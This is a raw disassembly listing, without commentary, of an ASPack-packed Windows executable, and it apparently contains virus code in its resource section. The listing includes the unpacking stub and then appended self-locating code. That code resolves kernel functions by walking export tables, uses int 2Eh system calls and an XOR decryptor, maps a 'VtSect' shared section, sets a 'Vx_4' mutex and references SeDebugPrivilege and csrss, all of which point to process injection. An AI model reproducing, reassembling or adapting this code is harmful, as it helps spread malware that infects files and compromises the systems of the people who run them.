loc_427AB1:				; CODE XREF: sub_427A1C+A9j
		cmp	esi, 2F5h
		jge	short loc_427B0B
		mov	cl, [esp+esi+31Ch+var_2F9]
		dec	eax
		mov	[esp+esi+31Ch+var_2F8],	cl
		inc	esi
		test	eax, eax
		jg	short loc_427AB1
		jmp	short loc_427AFF
; ---------------------------------------------------------------------------


loc_427AC9:				; CODE XREF: sub_427A1C:loc_427A9Fj
		cmp	eax, 11h
		jnz	short loc_427ADC
		push	3
		mov	ecx, ebp
		call	sub_42765D
		add	eax, 3
		jmp	short loc_427AE8
; ---------------------------------------------------------------------------


loc_427ADC:				; CODE XREF: sub_427A1C+B0j
		push	7
		mov	ecx, ebp
		call	sub_42765D
		add	eax, 0Bh


loc_427AE8:				; CODE XREF: sub_427A1C+BEj
		test	eax, eax
		jle	short loc_427AFF


loc_427AEC:				; CODE XREF: sub_427A1C+E1j
		cmp	esi, 2F5h
		jge	short loc_427B0B
		mov	[esp+esi+31Ch+var_2F8],	0
		inc	esi
		dec	eax
		test	eax, eax
		jg	short loc_427AEC


loc_427AFF:				; CODE XREF: sub_427A1C+81j
					; sub_427A1C+93j ...
		cmp	esi, 2F5h
		jl	loc_427A7E


loc_427B0B:				; CODE XREF: sub_427A1C+9Bj
					; sub_427A1C+D6j
		lea	edx, [esp+31Ch+var_2F8]
		lea	ecx, [ebx+10h]
		push	edx
		call	sub_4276ED
		test	al, al
		jnz	short loc_427B27
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_427B27:				; CODE XREF: sub_427A1C+FEj
		lea	eax, [esp+31Ch+var_27]
		lea	ecx, [ebx+0A0h]
		push	eax
		call	sub_4276ED
		test	al, al
		jnz	short loc_427B49
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_427B49:				; CODE XREF: sub_427A1C+120j
		lea	ecx, [esp+31Ch+var_B]
		push	ecx
		lea	ecx, [ebx+130h]
		call	sub_4276ED
		test	al, al
		jnz	short loc_427B6B
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 30Ch
		retn
; ---------------------------------------------------------------------------


loc_427B6B:				; CODE XREF: sub_427A1C+142j
		mov	byte ptr [ebx+264h], 0
		xor	eax, eax


loc_427B74:				; CODE XREF: sub_427A1C+166j
		cmp	[esp+eax+31Ch+var_B], 3
		jnz	short loc_427B86
		inc	eax
		cmp	eax, 8
		jb	short loc_427B74
		jmp	short loc_427B8D
; ---------------------------------------------------------------------------


loc_427B86:				; CODE XREF: sub_427A1C+160j
		mov	byte ptr [ebx+264h], 1


loc_427B8D:				; CODE XREF: sub_427A1C+168j
		mov	eax, [ebx+260h]
		lea	ecx, [esp+31Ch+var_2F8]
		mov	esi, 2F5h


loc_427B9C:				; CODE XREF: sub_427A1C+187j
		mov	dl, [ecx]
		mov	[eax], dl
		inc	eax
		inc	ecx
		dec	esi
		jnz	short loc_427B9C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30Ch
		retn
sub_427A1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_427BB2	proc near		; CODE XREF: sub_42793D+12p
					; sub_427BC0+80p ...
		call	sub_427BB8
		nop
sub_427BB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427BB8	proc near		; CODE XREF: sub_427BB2p
		pop	esi
		sub	esi, offset byte_44455B
		retn
sub_427BB8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427BC0	proc near		; CODE XREF: .aspack:004275CCp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 14h
		mov	eax, [esp+14h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	dword ptr [eax], 0
		mov	eax, [esp+20h+arg_0]
		push	edi
		xor	edi, edi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+24h+var_14], edi
		jbe	loc_427E40


loc_427BE5:				; CODE XREF: sub_427BC0+274j
		lea	ecx, [esi+10h]
		call	sub_427869
		cmp	eax, 100h
		jnb	short loc_427C07
		mov	ecx, [esi]
		mov	[ecx], al
		mov	ecx, [esi]
		inc	ecx
		inc	edi
		mov	[esi], ecx
		mov	[esp+24h+var_14], edi
		jmp	loc_427E30
; ---------------------------------------------------------------------------


loc_427C07:				; CODE XREF: sub_427BC0+32j
		cmp	eax, 2D0h
		jnb	loc_427E25
		add	eax, 0FFFFFF00h
		mov	ebp, eax
		and	eax, 7
		shr	ebp, 3
		lea	edx, [eax+2]
		cmp	eax, 7
		mov	[esp+24h+var_10], edx
		jnz	loc_427CC3
		lea	ecx, [esi+0A0h]
		call	sub_427869
		mov	ecx, [esi+8]
		xor	ebx, ebx
		push	esi
		call	sub_427BB2
		mov	bl, byte ptr ds:(loc_443FA6+5)[eax+esi]
		pop	esi
		cmp	ecx, 8
		jb	short loc_427C84


loc_427C52:				; CODE XREF: sub_427BC0+C2j
		mov	ecx, [esi+4]
		mov	dl, [ecx]
		inc	ecx
		mov	byte ptr [esp+24h+var_C], dl
		mov	[esi+4], ecx
		mov	ecx, [esi+0Ch]
		mov	edx, [esp+24h+var_C]
		shl	ecx, 8
		and	edx, 0FFh
		or	ecx, edx
		mov	edx, [esi+8]
		add	edx, 0FFFFFFF8h
		mov	[esi+0Ch], ecx
		mov	ecx, edx
		mov	[esi+8], edx
		cmp	ecx, 8
		jnb	short loc_427C52


loc_427C84:				; CODE XREF: sub_427BC0+90j
		mov	edi, [esi+8]
		mov	edx, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, edi
		add	edi, ebx
		shr	edx, cl
		mov	ecx, 18h
		mov	[esi+8], edi
		sub	ecx, ebx
		and	edx, 0FFFFFFh
		shr	edx, cl
		xor	ecx, ecx
		push	esi
		call	sub_427BB2
		mov	cl, byte ptr ds:(loc_443F8E+1)[eax+esi]
		pop	esi
		mov	eax, [esp+24h+var_10]
		add	ecx, edx
		add	eax, ecx
		mov	[esp+24h+var_10], eax


loc_427CC3:				; CODE XREF: sub_427BC0+69j
		mov	al, [esi+264h]
		mov	ebx, [esi+ebp*4+268h]
		xor	edx, edx
		push	esi
		call	sub_427BB2
		mov	dl, ss:byte_443FC7[ebp+esi]
		pop	esi
		test	al, al
		mov	edi, edx
		jz	short loc_427D5C
		cmp	edi, 3
		jb	short loc_427D5C
		mov	eax, [esi+8]
		lea	ebp, [edi-3]
		cmp	eax, 8
		jb	short loc_427D27


loc_427CF6:				; CODE XREF: sub_427BC0+165j
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		shl	edx, 8
		mov	cl, [eax]
		inc	eax
		mov	byte ptr [esp+24h+var_8], cl
		mov	ecx, [esi+8]
		mov	[esi+4], eax
		mov	eax, [esp+24h+var_8]
		and	eax, 0FFh
		add	ecx, 0FFFFFFF8h
		or	edx, eax
		mov	eax, ecx
		cmp	eax, 8
		mov	[esi+0Ch], edx
		mov	[esi+8], ecx
		jnb	short loc_427CF6


loc_427D27:				; CODE XREF: sub_427BC0+134j
		mov	eax, [esi+8]
		mov	edi, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, eax
		add	eax, ebp
		shr	edi, cl
		mov	ecx, 18h
		mov	[esi+8], eax
		sub	ecx, ebp
		and	edi, 0FFFFFFh
		shr	edi, cl
		lea	ecx, [esi+130h]
		call	sub_427869
		add	eax, ebx
		lea	ebx, [eax+edi*8]
		jmp	short loc_427DB7
; ---------------------------------------------------------------------------


loc_427D5C:				; CODE XREF: sub_427BC0+124j
					; sub_427BC0+129j
		cmp	dword ptr [esi+8], 8
		jb	short loc_427D93


loc_427D62:				; CODE XREF: sub_427BC0+1D1j
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		shl	edx, 8
		mov	cl, [eax]
		inc	eax
		mov	byte ptr [esp+24h+var_4], cl
		mov	ecx, [esi+8]
		mov	[esi+4], eax
		mov	eax, [esp+24h+var_4]
		and	eax, 0FFh
		add	ecx, 0FFFFFFF8h
		or	edx, eax
		mov	eax, ecx
		cmp	eax, 8
		mov	[esi+0Ch], edx
		mov	[esi+8], ecx
		jnb	short loc_427D62


loc_427D93:				; CODE XREF: sub_427BC0+1A0j
		mov	edx, [esi+8]
		mov	eax, [esi+0Ch]
		mov	ecx, 8
		sub	ecx, edx
		add	edx, edi
		shr	eax, cl
		mov	ecx, 18h
		mov	[esi+8], edx
		sub	ecx, edi
		and	eax, 0FFFFFFh
		shr	eax, cl
		add	ebx, eax


loc_427DB7:				; CODE XREF: sub_427BC0+19Aj
		cmp	ebx, 3
		jnb	short loc_427DD6
		mov	ecx, [esi+ebx*4+250h]
		test	ebx, ebx
		jz	short loc_427DF7
		mov	edx, [esi+250h]
		mov	[esi+ebx*4+250h], edx
		jmp	short loc_427DF1
; ---------------------------------------------------------------------------


loc_427DD6:				; CODE XREF: sub_427BC0+1FAj
		mov	eax, [esi+254h]
		mov	edx, [esi+250h]
		lea	ecx, [ebx-3]
		mov	[esi+258h], eax
		mov	[esi+254h], edx


loc_427DF1:				; CODE XREF: sub_427BC0+214j
		mov	[esi+250h], ecx


loc_427DF7:				; CODE XREF: sub_427BC0+205j
		mov	eax, [esi]
		mov	edi, [esp+24h+var_10]
		inc	ecx
		lea	edx, [eax+edi]
		cmp	eax, edx
		mov	[esi], edx
		jnb	short loc_427E17


loc_427E07:				; CODE XREF: sub_427BC0+255j
		mov	edx, eax
		sub	edx, ecx
		inc	eax
		mov	dl, [edx]
		mov	[eax-1], dl
		mov	edx, [esi]
		cmp	eax, edx
		jb	short loc_427E07


loc_427E17:				; CODE XREF: sub_427BC0+245j
		mov	eax, [esp+24h+var_14]
		add	eax, edi
		mov	[esp+24h+var_14], eax
		mov	edi, eax
		jmp	short loc_427E30
; ---------------------------------------------------------------------------


loc_427E25:				; CODE XREF: sub_427BC0+4Cj
		mov	ecx, esi
		call	sub_427A1C
		test	al, al
		jz	short loc_427E4C


loc_427E30:				; CODE XREF: sub_427BC0+42j
					; sub_427BC0+263j
		cmp	edi, [esp+24h+arg_0]
		jb	loc_427BE5
		mov	eax, [esp+24h+arg_4]
		mov	[eax], edi


loc_427E40:				; CODE XREF: sub_427BC0+1Fj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 14h
		retn	8
; ---------------------------------------------------------------------------


loc_427E4C:				; CODE XREF: sub_427BC0+26Ej
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 14h
		retn	8
sub_427BC0	endp

; ---------------------------------------------------------------------------
		dd 0
		dd 8, 400000h, 7C800000h, 6E72656Bh, 32336C65h,	6C6C642Eh
		dd 72695600h, 6C617574h, 6F6C6C41h, 69560063h, 61757472h
		dd 6572466Ch, 69560065h, 61757472h, 6F72506Ch, 74636574h
		dd 69784500h, 6F725074h, 73736563h, 0
		db    0
		db 75h,	73h, 65h
		db  72h	; r
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
aMessageboxa	db 'MessageBoxA',0
aWsprintfa	db 'wsprintfA',0
aLoaderError	db 'LOADER ERROR',0
aTheProcedureEn	db 'The procedure entry point %s could not be located in the dynamic '
		db 'link library %s',0
aTheOrdinalUCou	db 'The ordinal %u could not be located in the dynamic link library %'
		db 's',0
		align 10h
dword_427F70	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_442022+2Er
		dd 7C80B6A1h, 7C801D77h, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 27F80h, 27F70h, 3 dup(0)
		dd 28074h, 280C4h, 3 dup(0)
		dd 28081h, 280CCh, 3 dup(0)
		dd 2808Dh, 280D4h, 3 dup(0)
		dd 28097h, 280DCh, 3 dup(0)
		dd 280A2h, 280E4h, 3 dup(0)
		dd 280ACh, 280ECh, 3 dup(0)
		dd 280B9h, 280F4h, 5 dup(0)
		dd 61656C6Fh, 32337475h, 6C6C642Eh, 6E697700h, 74656E69h
		dd 6C6C642Eh, 656C6F00h, 642E3233h, 75006C6Ch, 33726573h
		dd 6C642E32h, 6467006Ch, 2E323369h, 6C6C64h, 61766461h
		dd 32336970h, 6C6C642Eh, 74726300h, 2E6C6C64h, 6C6C64h
		dd 77124C05h, 0
		dd 42C2DE3Dh, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FAh, 4Fh, 77h
		dd 0
		dd 7E43212Bh, 0
		dd 77F161D1h, 0
		dd 77DD7753h, 0
; ---------------------------------------------------------------------------
		jmp	short loc_428165
; ---------------------------------------------------------------------------
		dw 73D9h
		dd 0
		db    0
		align 2
aSysallocstring	db 'SysAllocString',0
		db 2 dup(0), 46h
aIndfirsturlcac	db 'indFirstUrlCacheEntryA',0
		align 4
		dd 436F4300h, 74616572h, 736E4965h, 636E6174h, 65h, 57746547h
		dd 6F646E69h, 78655477h, 4174h,	74654700h, 636F7453h, 6A624F6Bh
		dd 746365h, 704F0000h, 72506E65h
		db 6Fh
; ---------------------------------------------------------------------------


loc_428165:				; CODE XREF: .aspack:004280F4j
		arpl	[ebp+73h], sp
		jnb	short near ptr word_4281BE
		outsd
		imul	esp, [ebp+6Eh],	0
; ---------------------------------------------------------------------------
		db 0
		dd 74695F00h, 616Fh, 11h dup(0)
		db 2 dup(0)
word_4281BE	dw 0			; CODE XREF: .aspack:00428168j
		align 1000h
_aspack		ends

; Section 6. (virtual address 00029000)
; Virtual size			: 00021000 ( 135168.)
; Section size in file		: 00021000 ( 135168.)
; Offset to raw	data for section: 00029000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 429000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 400h	dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		cld
		mov	eax, [esp]
		mov	ecx, [eax+29BBh]
		mov	[eax+3303h], ebx
		and	ecx, 400000h
		mov	ebx, [esp+4]
		jz	short loc_42A04D
		pop	ecx
		mov	[eax+3307h], esi
		mov	cl, [eax+29BFh]
		mov	[eax+330Bh], edi
		cmp	cl, 0E8h
		jz	short loc_42A041
		mov	ebx, [eax+29C1h]
		jmp	short loc_42A04B
; ---------------------------------------------------------------------------


loc_42A041:				; CODE XREF: .rsrc:0042A037j
		mov	ecx, [eax+29C0h]
		mov	ebx, [ecx+ebx+2]


loc_42A04B:				; CODE XREF: .rsrc:0042A03Fj
		mov	ebx, [ebx]


loc_42A04D:				; CODE XREF: .rsrc:0042A01Fj
		push	ebp
		mov	ebp, eax
		sub	dword ptr [esp+4], 3004h
		sub	ebp, 101005h
		mov	edi, [esp+4]
		lea	esi, [ebp+1039CCh]
		mov	ecx, 0EAh
		rep movsb
		sldt	cx
		test	ecx, ecx
		jnz	short loc_42A07B
		or	eax, 0FFFFFFFFh
		int	2Eh		; DOS 2+ internal - EXECUTE COMMAND
					; DS:SI	-> counted CR-terminated command string


loc_42A07B:				; CODE XREF: .rsrc:0042A074j
		and	ebx, 0FFFFF000h


loc_42A081:				; CODE XREF: .rsrc:0042A090j
		cmp	dword ptr [ebx+4Eh], 73696854h
		jz	short loc_42A092


loc_42A08A:				; CODE XREF: .rsrc:0042A09Fj
		sub	ebx, 100h
		jnz	short loc_42A081


loc_42A092:				; CODE XREF: .rsrc:0042A088j
		mov	eax, ebx
		add	eax, [ebx+3Ch]
		mov	edx, [eax+78h]
		cmp	word ptr [eax],	4550h
		jnz	short loc_42A08A
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_42A0AC:				; CODE XREF: .rsrc:loc_42A0C0j
		lodsd
		add	eax, ebx
		cmp	word ptr [eax+2], 5074h
		jnz	short loc_42A0C0
		cmp	dword ptr [eax+5], 6441636Fh
		jz	short loc_42A0C5


loc_42A0C0:				; CODE XREF: .rsrc:0042A0B5j
		loop	loc_42A0AC
		pop	ecx
		jmp	short loc_42A0F0
; ---------------------------------------------------------------------------


loc_42A0C5:				; CODE XREF: .rsrc:0042A0BEj
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		lea	eax, [ebp+101137h]
		lea	ecx, [ebp+101120h]
		mov	dx, [eax-19h]
		call	ecx
		jmp	short loc_42A137
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17E


loc_42A0F0:				; CODE XREF: .rsrc:0042A0C3j
					; sub_42A17E+10j ...
		mov	eax, [ebp+1039C0h]
		and	eax, 400000h
		jz	short loc_42A11C
		lea	esi, [ebp+1039C4h]
		lodsd
		mov	edi, [esp+arg_0]
		stosd
		mov	ebx, [ebp+104308h]
		movsb
		mov	edi, [ebp+104310h]
		mov	esi, [ebp+10430Ch]


loc_42A11C:				; CODE XREF: sub_42A17E-83j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42A17E
; ---------------------------------------------------------------------------
		dw 0BD3Ah

; =============== S U B	R O U T	I N E =======================================



sub_42A120	proc near		; CODE XREF: sub_42C45B+2DFp
		push	ebx
		mov	ecx, 2889h
		mov	ebx, edx


loc_42A128:				; CODE XREF: sub_42A120+13j
		xor	[eax], dl
		sub	dl, bl
		add	eax, 1
		xchg	bl, bh
		xchg	dl, dh
		loop	loc_42A128
		pop	ebx
		retn
sub_42A120	endp

; ---------------------------------------------------------------------------


loc_42A137:				; CODE XREF: .rsrc:0042A0EEj
		call	near ptr loc_42A146+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_42A1A3+3
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_42A146:				; CODE XREF: .rsrc:loc_42A137p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+103E62h], eax
		call	near ptr loc_42A162+1
		inc	ebx
		jb	short loc_42A1BE
		popa
		jz	short near ptr loc_42A1C0+1
		inc	ebp
		jbe	short near ptr loc_42A1C0+4
		outsb
		jz	short loc_42A1A3


loc_42A162:				; CODE XREF: .rsrc:0042A151p
		add	[ebx-1], dl
		setalc
		mov	[ebp+103E66h], eax
		call	sub_42A17E
		inc	edi
		db	65h
		jz	short near ptr loc_42A1C0+1
		popa
		jnb	short near ptr loc_42A1EA+2
		inc	ebp
		jb	short near ptr loc_42A1EA+3
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_42A17E	proc near		; CODE XREF: .rsrc:0042A16Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042A0F0 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0042A534 SIZE 0000000B BYTES

		push	ebx
		call	esi
		mov	[ebp+103E6Ah], eax
		call	sub_42A55F
		test	eax, eax
		jz	loc_42A0F0
		push	eax
		call	dword ptr [ebp+103E6Ah]
		test	eax, eax
		jnz	loc_42A534


loc_42A1A3:				; CODE XREF: .rsrc:0042A160j
					; .rsrc:0042A13Fj
		cmp	byte ptr [ebp+10153Fh],	1
		jnz	short loc_42A1C0
		push	dword ptr [ebp+104308h]
		dec	byte ptr [ebp+10153Fh]
		pop	dword ptr [ebp+101598h]


loc_42A1BE:				; CODE XREF: .rsrc:0042A157j
		jmp	short loc_42A1C7
; ---------------------------------------------------------------------------


loc_42A1C0:				; CODE XREF: sub_42A17E+2Cj
					; .rsrc:0042A15Aj ...
		and	dword ptr [ebp+101598h], 0


loc_42A1C7:				; CODE XREF: sub_42A17E:loc_42A1BEj
		and	dword ptr [ebp+101588h], 0
		and	dword ptr [ebp+10158Ch], 0
		and	dword ptr [ebp+101590h], 0
		push	edi
		mov	byte ptr [ebp+1012D4h],	1
		mov	[ebp+103E6Eh], esi


loc_42A1EA:				; CODE XREF: .rsrc:0042A176j
					; .rsrc:0042A179j
		lea	esi, [ebp+101604h]
		xor	ecx, ecx
		lea	edi, [ebp+103E7Ah]
		mov	cl, 20h
		call	sub_42A59C
		pop	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jz	loc_42A2E3
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+103E72h], eax
		push	7328h
		push	0
		call	dword ptr [ebp+103EF2h]
		test	eax, eax
		jz	loc_42A534
		xchg	eax, edi
		lea	esi, [ebp+101000h]
		mov	ebp, edi
		mov	ecx, 0CCAh
		sub	ebp, 101000h
		lea	edx, [ebp+101254h]
		rep movsd
		jmp	edx
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+101B4Dh]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+103E72h]
		add	esp, 20h
		test	eax, eax
		jz	loc_42A534
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+103E72h]
		test	eax, eax
		jz	loc_42A534
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+103E72h]
		push	1000Ah
		call	dword ptr [ebp+103E72h]
		call	loc_42A2D3
		jmp	loc_42A534
; ---------------------------------------------------------------------------


loc_42A2D3:				; CODE XREF: sub_42A17E+14Bp
					; sub_42A17E+162j
		push	0
		pop	ecx
		jecxz	short locret_42A2E2
		push	0Ah
		call	dword ptr [ebp+103EE6h]
		jmp	short loc_42A2D3
; ---------------------------------------------------------------------------

locret_42A2E2:				; CODE XREF: sub_42A17E+158j
		retn
; ---------------------------------------------------------------------------


loc_42A2E3:				; CODE XREF: sub_42A17E+8Bj
		cmp	dword ptr [ebp+103E92h], 0
		jz	loc_42A534
		call	near ptr loc_42A2FA+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_42A2FA:				; CODE XREF: sub_42A17E+172p
		add	bh, bh
sub_42A17E	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		lea	esi, [ebp+1017DEh]
		xor	ecx, ecx
		lea	edi, [ebp+103EFAh]
		mov	cl, 0Eh
		xchg	eax, ebx
		call	sub_42A59C
		cmp	dword ptr [ebp+103F2Eh], 0
		jz	loc_42A534
		mov	eax, [ebp+103EFEh]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103917h]
		mov	eax, [ebp+103F16h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+103964h]
		mov	eax, [ebp+103F02h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+10396Bh]
		cmp	dword ptr [ebp+10396Bh], 10000h
		jnb	loc_42A534
		mov	ecx, [ebp+103F06h]
		jecxz	short loc_42A383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103978h]
		mov	ecx, [ebp+103F0Eh]
		jecxz	short loc_42A383
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+103985h]


loc_42A383:				; CODE XREF: .rsrc:0042A367j
					; .rsrc:0042A378j
		call	sub_42A540
		lea	edi, [ebp+103F84h]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+1015EBh]
		mov	ecx, 19h
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah
		lea	edx, [ebp+103E30h]


loc_42A3CC:				; CODE XREF: .rsrc:0042A3D5j
		lodsb
		mov	[edx], ax
		stosw
		add	edx, 2
		loop	loc_42A3CC
		mov	edx, esp
		push	0
		push	7328h
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+103F0Ah]
		pop	eax
		add	esp, 40h
		push	7328h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	7328h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+103F12h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_42A534
		lea	esi, [ebp+101000h]
		mov	ecx, 0CCAh
		mov	ebp, edi
		rep movsd
		sub	ebp, 101000h
		lea	eax, [ebp+10144Ah]
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5450h
		dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0E8570065h
		dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh,	6295FF57h, 6A00103Eh
		dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h
		dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h
		dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h
		dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh,	33000005h
		dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h
		dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh
		dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h
		dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h
		dd 103E62h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A17E


loc_42A534:				; CODE XREF: sub_42A17E+1Fj
					; sub_42A17E+B2j ...
		call	dword ptr [ebp+103E62h]
		jmp	loc_42A0F0
; END OF FUNCTION CHUNK	FOR sub_42A17E
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_42A540	proc near		; CODE XREF: .rsrc:loc_42A383p
					; sub_42A55F+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
		mov	eax, esp
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
sub_42A540	endp

; ---------------------------------------------------------------------------
aVx_4		db 'Vx_4',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42A55F	proc near		; CODE XREF: sub_42A17E+9p
		xor	ecx, ecx
		call	sub_42A540
		lea	edx, [ebp+101559h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+103E66h]
		add	esp, 20h
		retn
sub_42A55F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 585858h, 3328h, 0E73h, 1, 2 dup(0)
		dd 29C0h, 0

; =============== S U B	R O U T	I N E =======================================



sub_42A59C	proc near		; CODE XREF: sub_42A17E+7Cp
					; .rsrc:0042A312p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+103E6Eh]
		stosd
		pop	ecx


loc_42A5A7:				; CODE XREF: sub_42A59C+Ej
		lodsb
		test	al, al
		jnz	short loc_42A5A7
		loop	sub_42A59C
		retn
sub_42A59C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A5AF	proc near		; CODE XREF: sub_42C12D+25p

; FUNCTION CHUNK AT 0042A639 SIZE 000003C0 BYTES
; FUNCTION CHUNK AT 0042AA09 SIZE 00000027 BYTES

		lea	edx, [ebp+101985h]
		push	edx
		call	dword ptr [ebp+103EC6h]
		mov	[ebp+104288h], eax
		call	near ptr loc_42A5DC+1
		dec	esp
		outsd
		outsd
		imul	esi, [ebp+70h],	50h
		jb	short loc_42A639
		jbe	short near ptr loc_42A639+2
		insb
		db	65h, 67h, 65h
		push	esi
		popa
		insb
		jnz	short loc_42A640
		inc	ecx


loc_42A5DC:				; CODE XREF: sub_42A5AF+13p
		add	[eax-1], dl
sub_42A5AF	endp ; sp-analysis failed

		xchg	eax, ebp
		outsb
		db	3Eh
		adc	[eax], al
		mov	[ebp+10428Ch], eax
		retn
; ---------------------------------------------------------------------------
		db  5Ch	; \
		db  42h	; B
		db  61h	; a
		db  73h	; s
		db  65h	; e
		db  4Eh	; N
		db  61h	; a
		db  6Dh	; m
		db  65h	; e
		db  64h	; d
		db  4Fh	; O
		db  62h	; b
		db  6Ah	; j
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db  73h	; s
		db  5Ch	; \
		db  56h	; V
		db  74h	; t
		db  53h	; S
		db  65h	; e
		db  63h	; c
		db  74h	; t
		db    0
		db  6Ch	; l
		db  73h	; s
		db  74h	; t
		db  72h	; r
		db  6Ch	; l
		db  65h	; e
		db  6Eh	; n
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
		db  74h	; t
		db  65h	; e
		db  46h	; F
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  4Dh	; M
		db  61h	; a
		db  70h	; p
		db  70h	; p
		db  69h	; i
		db  6Eh	; n
		db  67h	; g
		db  41h	; A
		db    0
		db  43h	; C
		db  72h	; r
		db  65h	; e
		db  61h	; a
